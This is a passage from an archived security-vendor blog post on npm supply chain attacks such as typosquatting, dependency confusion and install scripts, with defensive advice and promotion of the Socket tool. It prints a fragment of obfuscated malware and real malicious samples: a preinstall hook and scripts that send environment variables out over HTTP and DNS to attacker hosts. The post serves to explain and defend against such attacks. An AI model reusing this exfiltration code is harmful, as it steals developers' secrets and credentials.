- +-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x40f</span>,<span class="hljs-number">0x519</span>,<span class="hljs-string">'<a href="https://socket.dev/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0223423532">[email protected]</a>'</span>,<span class="hljs-number">0x4f5</span>,<span class="hljs-number">0x5a2</span>))/(<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x977</span>+-<span class="hljs-number">0x15a</span>+<span class="hljs-number">0xad9</span>);
- <span class="hljs-keyword">if</span>(_0xe15807===_0x2b8f5b)<span class="hljs-keyword">break</span>;<span class="hljs-keyword">else</span> _0x40a390[<span class="hljs-string">'push'</span>](_0x40a390[<span class="hljs-string">'shift'</span>]());}
- <span class="hljs-keyword">catch</span>(_0xdc6a7c){_0x40a390[<span class="hljs-string">'push'</span>](_0x40a390[<span class="hljs-string">'shift'</span>]());}}}(_0x6450,-<span class="hljs-number">0x4f0c0</span>+
- <span class="hljs-number">0x260b</span>+<span class="hljs-number">0x29</span>*<span class="hljs-number">0x4445</span>));<span class="hljs-keyword">const</span> _0x206d7b=(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x2debc5</span>(<span class="hljs-params">_0x482afc,
- _0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x18ac59- -<span class="hljs-number">0x3d1</span>,_0x17d73a);}
- ...
- </code></pre>
- <p>I can tell you that even without knowing exactly what this code is
- doing, you can bet this is not something that you want to run on your machine.</p>
- <h2>2. Dependency confusion</h2>
- <p>This attack vector is pretty closely related to typosquatting. Dependency
- confusion happens when a company publishes packages to an internal npm registry
- and uses a name that hasn't yet been registered on the public npm registry.
- Later, an attacker can come along and register the available package. Now
- there's a private legitimate package and a public malware package, both with the
- same name.</p>
- <p>Many internal tools are poorly-written and they may prefer to install the public version
- of the package instead of the private one, which means that the attacker's code will be installed.</p>
- <p>Looking through the <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/category/removed">recently removed npm packages</a>, we were able to find dozens of likely dependency confusion attacks, where package names appear to conflict with internal company package names. Major corporations, US federal agencies, and US government contractors were all affected.</p>
- <ul>
- <li>Yahoo
-
- </li>
- <li>EURid (registry manager for EU)
-
- </li>
- <li>18F (US Federal agency)
-
- </li>
- <li>Unity (game engine)
-
- </li>
- <li>Palantir (government contractor)
-
- </li>
- <li>DuckDuckGo (search engine)
-
- </li>
- <li>Shippo (shipping company)
-
- </li>
- <li>GrubHub (food delivery company)
-
- </li>
- <li>Wix (website builder)
-
- </li>
- </ul>
- <p>How were attackers able to figure out these private package names? There are many possible ways, but it's worth noting that npm itself was <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://www.bleepingcomputer.com/news/security/npm-fixes-private-package-names-leak-serious-authorization-bug/">leaking a subset of private package names<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a> for several weeks which didn't help the problem.</p>
- <h2>3. Hijacked packages</h2>
- <p>The third vector that we see a lot is hijacked packages. These are the ones that
- you've probably seen in the news every few weeks.</p>
- <p>Criminals and miscreants find ways to infiltrate our communities and and infect
- popular packages. Once they get control of a package and they can publish to it,
- they'll steal credentials or install backdoors or abuse compute resources for
- cryptocurrency mining.</p>
- <p>This type of attack happens for various reasons:</p>
- <ul>
- <li>Maintainers choose weak passwords</li>
- <li>Maintainers reuse passwords</li>
- <li>Maintainers get malware on their laptops</li>
- <li>npm doesn't enforce 2FA for all accounts (though they've started to enforce this for top accounts)</li>
- <li>Maintainers give access to malicious actors</li>
- </ul>
- <p>Overworked maintainers are particularly susceptible to this type of attack. When
- someone offers a helping hand to a burned out maintainer, it's sometimes hard
- for them to say no.</p>
- <h2>4. Install scripts</h2>
- <p>As we mentioned before, install scripts are a huge vector. An install script
- allows a package to automatically run code upon package installation.</p>
- <p>Most npm malware uses install scripts. In fact, 56% of malicious packages start their routines on installation.</p>
- <div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>Most malicious packages (56%) start their routines on installation, which
- might be due to poor handling of arbitrary code during install</p></aside><p class="css-1ydr9i">– Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier ("Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks")</p></div></div>
- <p>npm allows packages to run code during the installation process. Unfortunately, install scripts do have some legitimate uses, so we can't just remove this feature from npm without breaking the ecosystem. It's not an easy problem to solve.</p>
- <h2>5. Permission creep (shell, network, filesystem, environment vars)</h2>
- <p>Permission creep happens when a package which previously didn't use privileged APIs, such as the shell, network, filesystem, or environment variables, but then suddenly starts to use these powerful APIs.</p>
- <p>Privileged APIs are used in most malware because attackers usually want to steal some secrets, download an executable payload, or run some shell scripts.</p>
- <p>Though legitimate packages do sometimes introduce privileged APIs in later package versions, this signal is often a telltale sign of malware, especially when these APIs are introduced in a patch version. Attackers like to publish their malware in a patch version to maximize the number of potential victims who will install it through loose semver ranges.</p>
- <p>Let's look at an example of a malicious package that uses privileged APIs:</p>
- <h3><code>package.json</code></h3>
- <pre><code class="hljs language-json">{
- <span class="hljs-attr">"name"</span>: <span class="hljs-string">"<redacted>"</span>,
- <span class="hljs-attr">"version"</span>: <span class="hljs-string">"9998.9999.2"</span>,
- <span class="hljs-attr">"description"</span>: <span class="hljs-string">"..."</span>,
- <span class="hljs-attr">"main"</span>: <span class="hljs-string">"index.js"</span>,
- <span class="hljs-attr">"scripts"</span>: {
- <span class="hljs-attr">"test"</span>: <span class="hljs-string">"echo \"Error: no test specified\" && exit 1"</span>,
- <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"node dns.js | node index.js | node specific-fields.js"</span>
- },
- <span class="hljs-attr">"files"</span>: [<span class="hljs-string">"specific-fields.js"</span>, <span class="hljs-string">"index.js"</span>, <span class="hljs-string">"dns.js"</span>],
- <span class="hljs-attr">"author"</span>: <span class="hljs-string">""</span>,
- <span class="hljs-attr">"license"</span>: <span class="hljs-string">"ISC"</span>
- }
- </code></pre>
- <p>Again this is a standard install script attack vector. But it runs a few
- different payloads, each using a different technique.</p>
- <p>Let's look at the first:</p>
- <h3><code>http.js</code></h3>
- <pre><code class="hljs language-js"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'https'</span>)
-
- req = http
- .request({
- <span class="hljs-attr">host</span>: <span class="hljs-string">'34.195.72.180'</span>,
- <span class="hljs-attr">path</span>: <span class="hljs-string">'/'</span>,
- <span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>,
- <span class="hljs-attr">headers</span>: {
- <span class="hljs-attr">host</span>: <span class="hljs-string">'411c316239cf14afaa1f37bbc5666207.m.pipedream.net'</span>,
- <span class="hljs-string">'User-Agent'</span>: <span class="hljs-string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \
- AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36'</span>
- }
- })
- .on(<span class="hljs-string">'error'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{})
-
- req.write(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(process.env)).toString(<span class="hljs-string">'base64'</span>))
- req.end()
- </code></pre>
- <p>You can see that the malware collects the environment variables via
- <code>process.env</code> and then makes an HTTP request to exfiltrate the data to an IP
- address.</p>
- <p>But this malware also uses a backup exfiltration technique:</p>
- <h3><code>dns.js</code></h3>
- <pre><code class="hljs language-js"><span class="hljs-keyword">var</span> { Resolver } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'dns'</span>)
- <span class="hljs-keyword">var</span> zlib = <span class="hljs-built_in">require</span>(<span class="hljs-string">'zlib'</span>)
-
- <span class="hljs-keyword">var</span> resolver = <span class="hljs-keyword">new</span> Resolver()
-
- <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">splitString</span>(<span class="hljs-params">string, size</span>) </span>{
- <span class="hljs-keyword">var</span> re = <span class="hljs-keyword">new</span> <span class="hljs-built_in">RegExp</span>(<span class="hljs-string">'.{1,'</span> + size + <span class="hljs-string">'}'</span>, <span class="hljs-string">'g'</span>)
- <span class="hljs-keyword">return</span> string.match(re)
- }
-
- resolver.setServers([<span class="hljs-string">'165.232.68.239'</span>])
- <span class="hljs-keyword">var</span> d = process.env || {}
- <span class="hljs-keyword">var</span> data = redactedForBrevity()
-
- <span class="hljs-keyword">var</span> encData = zlib
- .brotliCompressSync(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(data)))
- .toString(<span class="hljs-string">'hex'</span>)
-
- <span class="hljs-keyword">var</span> ch = splitString(encData, <span class="hljs-number">60</span>)
-
- <span class="hljs-keyword">var</span> dt = <span class="hljs-built_in">Date</span>.now()
-
- <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i < ch.length; i++) {
- <span class="hljs-keyword">const</span> domain = [<span class="hljs-string">'l'</span> + dt, i + <span class="hljs-number">1</span>, ch.length, ch[i]].join(<span class="hljs-string">'.'</span>)
- resolver.resolve4(domain, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{})
- }
- </code></pre>
- <p>In addition to HTTP, it uses DNS to send the data to the attacker. This is
- useful when an firewall is present since these often don't block DNS lookups.</p>
- <p>To pull this off, the attacker uses a custom DNS resolver and puts the
- environment variables they're stealing into a subdomain.</p>
- <p>And finally, our last attack technique...</p>
- <h2>6. Obfuscation</h2>
- <p>We already saw an example of this before. Obfuscated code makes it hard to audit code and decipher what it is doing. This can be used to hide malicious code from tools which use static analysis, such as <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a>, although we have techniques to detect obfuscation and we use that as a strong negative signal.</p>
- <p>Another type of obfuscation is when attackers publish different code to npm than
- they publish on GitHub. When they do that, npm doesn't make it easy to see what
- code is actually in the npm package, and so a lot of people who are trying to
- evaluate a package will rely on the version of the code that's on GitHub.
- There's no guarantee that the code on GitHub is the same as the code on npm.</p>
- <p>Now let's talk about how you can protect your app.</p>
- <h2>How can you protect your app from supply chain attacks?</h2>
- <p>We asked ourselves this question when we were working on
- <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app">Wormhole<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a>, which lets you share files with end-to-end
- encryption. Our goal was to make Wormhole the best way to send files, combining the usability of a web app with <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app/security">best-in-class security<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a>.</p>
- <p><a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app"></a></p>
- <p>As the frequency of npm supply chain attacks increased throughout 2021, we became concerned about the safety of our dependencies.</p>
- <p>We realized we needed to improve the way we vet our open source dependencies or else we would be leaving our user's security and privacy to chance. We didn't feel comfortable telling people to trust our service with their most precious data when malware could be lurking in any dependency update.</p>
- <p>We started thinking carefully about this problem space and started building
- solutions. Here are some of the things we did, and what you can do too:</p>
- <h2>1. Change the way you think about dependencies</h2>
- <p>As an industry, we need a mindset shift around the way we use dependencies. Too
- many developers assume they can just install open source code from the internet
- and, barring bugs, it will always do what it says on the tin. Unfortunately, as
- we've seen, this just isn't true.</p>
- <p>Open source is like an all-you-can-eat buffet – no one will stop you from
- scooping an unlimited number of dependencies onto your plate. Of course, like a
- buffet, there are health consequences to overindulging. You take a small hit
- with each dependency you install.</p>
- <p>If you're shipping code to production that includes open source code, then you must treat the open source code as part of your app. You are ultimately responsible for the behavior of that code.</p>
- <div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>You are responsbile for the code that you ship to production, whether you
- wrote it or it comes from open source.</p></aside></div></div>
- <p>The most popular open source license, the MIT license, actually literally says
- this:</p>
- <blockquote>
- <p><strong>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED</strong>, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. <strong>IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY</strong>, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>
- </blockquote>
- <p>Most developers don't think of open source this, way but it's actually how it works.</p>
- <h2>2. Dig deeper than the README</h2>
- <p>Many developers rely on heuristics to determine if a package is good:</p>
- <ul>
- <li>✅ Does it get the job done?</li>
- <li>✅ Does it have good docs?</li>
- <li>✅ Does it have lots of downloads and GitHub stars?</li>
- <li>✅ Does it have recent commits?</li>
- <li>✅ Does it have tests? Types?</li>
- </ul>
- <p>Checking for these things is good, but it's not enough to stop supply chain
- attacks. To stop attacks, you must dig deeper.</p>
- <p>We built a tool called <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a> to help you do this.</p>
- <p>We built Socket to look for the markers present in the recent npm supply chain
- attacks (as discussed above). Unlike other tools such as Snyk or Dependabot,
- Socket analyzes the actual <strong>behavior</strong> of a package instead of relying on stale
- data from a known vulnerability (CVE) database. This way, we can detect and
- block attacks before they've been discovered by the community.</p>
- <p>You can use Socket to quickly evaluate the security of a package:</p>
- <p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/bufferutil"></a></p>
- <p>In this example, you can see that <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/bufferutil"><code>bufferutil</code></a>
- contains install scripts. It's called out prominently at the top of the page,
- along with a link to the exact code that will run when you run <code>npm install bufferutil</code>.
- In this instance, <code>bufferutil</code>'s use of install scripts is legitimate, but it's
- nice to be able to know <em>before</em> you run <code>npm install bufferutil</code> that code will
- be immedately executed, as well as what that code will do, so that you can make an informed decision about whether to proceed.</p>
- <p>You'll also notice helpful Package Health scores at the top of the page.</p>
- <p>Now let's take a look at another example:</p>
- <p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/angular-calendar"></a></p>
- <p>The package <code>angular-calendar</code> is quite a useful package. It's a calendar
- web component that renders a little calendar widget.</p>
- <p>But, if you dig into its dependencies, you'll actually find that some of them have behavior that is potentially concerning:</p>
- <p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/angular-calendar/issues"></a></p>
- <p>You can see here that one of <code>angular-calendar</code>'s dependencies contains install scripts, runs shell scripts, accesses the file system, and accesses the network.</p>
- <p>This is probably not something that you would expect a web component to be doing, and so it may be worth some further investigation to figure out what's going on
- here before you use this package.</p>
- <p>Fortunately, Socket makes it easy to see which code is triggering a security issue. Just click any issue to jump straight to the line of code that is causing the issue.</p>
- <p><a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/@scarf/scarf/files/1.1.1/report.js"></a></p>
- <p>In this example, you can see the exact line of code where this package accesses the network, the shell, the filesystem, environment variables, and more.</p>
- <p>Socket makes it easy to get an idea of what a package will do <em>before you install it</em>.</p>
- <p>If you want to research packages on Socket to make an informed decision before
- you install them, you can do that by visiting <a class="chakra-link css-f4h6uy" href="https://socket.dev/">socket.dev</a>.
- Pro-tip: you can use our handy shortcut and just visit
- <code>socket.dev/<package-name></code> to go straight to a package page. For example, try
- <a class="chakra-link css-f4h6uy" href="https://socket.dev/fastify">socket.dev/fastify</a>.</p>
- <h2>3. Update your dependencies at the right cadence</h2>
- <p>How quickly should you update your dependencies? This is a question that a lot of teams, including our own, struggled with.</p>
- <p>Should you err on the side of updating slowly or quickly?</p>
- <p>If you <strong>update slowly</strong> you're exposed to <strong>known vulnerabilities</strong> and you're running code that's old and may have bugs that have been fixed in a newer version. Not only that, if a security vulnerability is discovered in the future, being on a super old version will make it harder to update to take the security fix.</p>
- <p>On the other hand, if you <strong>update quickly</strong> you expose yourself to <strong>supply chain attacks</strong> because you're now running code that may have been published <em>literally hours ago</em> which means that very few, if any, eyeballs have had a chance to look at the code.</p>
-
- <p>This is a hard tradeoff to balance. Different teams will make different decisions.</p>
- <p>However, you can use Socket to help. With the Socket
- <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, you can accept most dependency updates quickly –
- those where the package's capabilities have not changed – while reserving time
- to review more significant updates. This way you can spend your limited team
- resources auditing the highest-impact dependency updates, instead of choosing an
- all-or-nothing approach.</p>
- <blockquote>
- <p>Socket is in beta. This GitHub App currently supports typosquat detection
- only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the
- GitHub App by end of March.</p>
- </blockquote>
- <h2>4. Audit your dependencies</h2>
- <p>How closely should you audit a dependency before allowing it into your app?</p>
- <p>One option is to do a <strong>full audit</strong> – literally read every line of code in
- every dependency. Google is known to do a full audit and then to vendor their
- open source dependencies. This is great for preventing supply chain attacks but
- it takes a full-time team to manage this – the audits, the updates, the
- allowlist, applying critical security patches – and even still, Google is
- usually several major versions behind for most libraries. This approach is out
- of reach for all but the largest companies or the most security-critical
- applications (e.g. crypto wallets). It's lots of work, it's slow, it's
- expensive.</p>
- <p>On the other hand, <strong>doing nothing</strong> is also an option – and it's the one that
- most teams take. On most teams, any developer can install any dependency they
- want to get the job done. Most of the time, no one on the team even looks at the
- code in these dependencies before approving the pull request. As you might
- expect, this approach leaves you completely vulnerable to supply chain attacks,
- it's risky, and it can be expensive, albeit in the form of breaches, bad press,
- and government fines.</p>
-
- <p>Without tooling, this is a hard tradeoff to manage, which explains why most teams just do nothing.</p>
- <p>However, Socket can help here too. With the Socket <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>,
- you can accept most dependency updates without auditing the code – especially if
- there are no issues detected by Socket – while reserving time to review packages
- which have risky behavior such as using <code>eval()</code>, or that contain obscuted code.
- Socket helps you spend your limited team resources auditing the highest-impact
- dependency updates, instead of choosing an all-or-nothing approach.</p>
- <blockquote>
- <p>Socket is in beta. This GitHub App currently supports typosquat detection
- only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the
- GitHub App by end of March.</p>
- </blockquote>
- <h2>Find the happy medium with Socket</h2>
- <p>You don't need to throw your hands up in exasperation and do nothing about supply chain risk. We built Socket to be the antidote to an all-or-nothing approach.</p>
- <p>With the Socket approach:</p>
- <ul>
- <li>Use automation to automatically evaluate all dependencies</li>
- <li>Detect and block attacks such as malware, hidden code, typo-squatting, etc.</li>
- <li>Have humans manually audit suspicious packages (i.e. new capabilities added)</li>
- <li>Provide security information directly in pull request comments</li>
- </ul>
- <h2>How to use Socket today</h2>
- <p>You can install Socket as a <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>. It will automatically evaluate all changes to <code>package.json</code> and other “package manifest” files such as <code>package-lock.json</code> and <code>yarn.lock</code>. Whenever a new dependency is added in a pull request, Socket will evaluate it and leave a comment indicating if it is a security risk.</p>
- <p>For example, say that you accidentally installed <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserlist"><code>browserlist</code></a> instead of <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserslist"><code>browserslist</code></a>, a very easy mistake to make. Socket will detect this and leave a comment in the pull request:</p>
- <p><a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations"></a></p>
- <p>With the Socket GitHub App in place, the developer who opened the pull request
- (or the developer reviewing it) will have their attention drawn to this
- typosquat issue. Socket doesn't get in the way, but it does augment your review
- process.</p>
- <p>Before we started building Socket, I
- <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://github.com/preactjs/preact-cli/pull/1576">found this exact typosquat issue<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a> in the popular <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/preact"><code>preact</code></a> package. It's an easy mistake to
- make, and that's probably why <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserlist"><code>browserlist</code></a>
- continues to be downloaded 15,000 times each week.</p>
- <p>This particular example with <code>browserlist</code> is not unique. There are hundreds of
- thousands of npm packages within 1-2 characters of each other, so this is a very
- easy mistake to make. Typosquatting is one of the most common supply chain
- attack vectors.</p>
- <p>Socket has <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">60 detections</a> in five different categories – supply
- chain risk, quality, maintenance, known vulnerabilities, and license. Each of
- these issues won't immediately trigger an alert. Rather, we use each of these
- issues as one signal into supply chain risk formula that determines whether we
- will raise an issue to your attention. Socket aims to only raises high signal
- issues that are worth your precious time and attention.</p>
- <p>If you decide to <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">install the Socket GitHub App</a>, we're eager for
- your feedback. Please join our Discord (link in the footer) or <a class="chakra-link css-f4h6uy" href="https://socket.dev/contact">send us an email</a>.</p>
- <blockquote>
- <p>Socket is in beta. This GitHub App currently supports typosquat detection only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the GitHub App by end of March.</p>
- </blockquote>
- <h2>How much will Socket cost?</h2>
- <p>Open source package search with Socket Package Health Scores are <strong>free to
- everyone</strong> on our website, <a class="chakra-link css-f4h6uy" href="https://socket.dev/">https://socket.dev</a>.</p>
- <p>Socket integrations, such as the <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, are <strong>free for open source repositories, forever</strong>. For private repositories, Socket is free while we're in beta. We're still working out pricing; we're aiming to keep it affordable so every team can get protected.</p>
- <h2>We can improve supply chain security, together!</h2>
- <p>The open source ecosystem faces an unprecedented supply chain security threat but all hope is not lost. As developers, we can take responsibility for our software supply chain and help make the world a safer place.</p>
- <p>P.S. We're hiring at Socket! Check out our <a class="chakra-link css-f4h6uy" href="https://socket.dev/jobs">jobs page</a> if you're
- interested in working to secure the software supply chain.</p>
- </article>
-
-
- <hr>
-
- <footer>
- <p>
- <a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home">
- <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use>
- </svg> Accueil</a> •
- <a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2">
- <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use>
- </svg> Suivre</a> •
- <a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie">
- <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use>
- </svg> Pro</a> •
- <a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail">
- <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use>
- </svg> Email</a> •
- <abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2">
- <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use>
- </svg> Légal</abbr>
- </p>
- <template id="theme-selector">
- <form>
- <fieldset>
- <legend><svg class="icon icon-brightness-contrast">
- <use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use>
- </svg> Thème</legend>
- <label>
- <input type="radio" value="auto" name="chosen-color-scheme" checked> Auto
- </label>
- <label>
- <input type="radio" value="dark" name="chosen-color-scheme"> Foncé
- </label>
- <label>
- <input type="radio" value="light" name="chosen-color-scheme"> Clair
- </label>
- </fieldset>
- </form>
- </template>
- </footer>
- <script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script>
- <script>
- function loadThemeForm(templateName) {
- const themeSelectorTemplate = document.querySelector(templateName)
- const form = themeSelectorTemplate.content.firstElementChild
- themeSelectorTemplate.replaceWith(form)
-
- form.addEventListener('change', (e) => {
- const chosenColorScheme = e.target.value
- localStorage.setItem('theme', chosenColorScheme)
- toggleTheme(chosenColorScheme)
- })
-
- const selectedTheme = localStorage.getItem('theme')
- if (selectedTheme && selectedTheme !== 'undefined') {
- form.querySelector(`[value="${selectedTheme}"]`).checked = true
- }
- }
-
- const prefersColorSchemeDark = '(prefers-color-scheme: dark)'
- window.addEventListener('load', () => {
- let hasDarkRules = false
- for (const styleSheet of Array.from(document.styleSheets)) {
- let mediaRules = []
- for (const cssRule of styleSheet.cssRules) {
- if (cssRule.type !== CSSRule.MEDIA_RULE) {
- continue
- }
- // WARNING: Safari does not have/supports `conditionText`.
- if (cssRule.conditionText) {
- if (cssRule.conditionText !== prefersColorSchemeDark) {
- continue
- }
- } else {
- if (cssRule.cssText.startsWith(prefersColorSchemeDark)) {
- continue
- }
- }
- mediaRules = mediaRules.concat(Array.from(cssRule.cssRules))
- }
-
- // WARNING: do not try to insert a Rule to a styleSheet you are
- // currently iterating on, otherwise the browser will be stuck
- // in a infinite loop…
- for (const mediaRule of mediaRules) {
- styleSheet.insertRule(mediaRule.cssText)
- hasDarkRules = true
- }
- }
- if (hasDarkRules) {
- loadThemeForm('#theme-selector')
- }
- })
- </script>
- </body>
- </html>
|